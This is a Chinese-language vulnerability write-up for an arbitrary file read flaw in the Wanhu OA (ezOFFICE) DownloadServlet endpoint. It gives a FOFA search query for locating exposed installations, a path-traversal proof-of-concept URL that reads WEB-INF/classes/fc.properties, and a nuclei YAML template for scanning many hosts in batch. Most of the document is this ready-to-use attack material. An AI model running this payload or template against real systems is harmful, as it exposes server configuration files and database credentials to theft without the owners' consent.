万户OA DownloadServlet 任意文件读取漏洞

漏洞简介

万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息

影响范围

万户OA

漏洞复现

fofa语法：app="万户网络-ezOFFICE"
登录页面如下：

POC：/defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2

nuclei批量yaml文件

id: WanhuOA_DownloadServlet_fileread
info:
  name: 万户OA DownloadServlet 任意文件读取漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20DownloadServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html
  tags: 万户OA,fileread
requests:
  - raw:
      - |+
        GET /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - driver
      - type: word
        part: header
        words:
          - '200'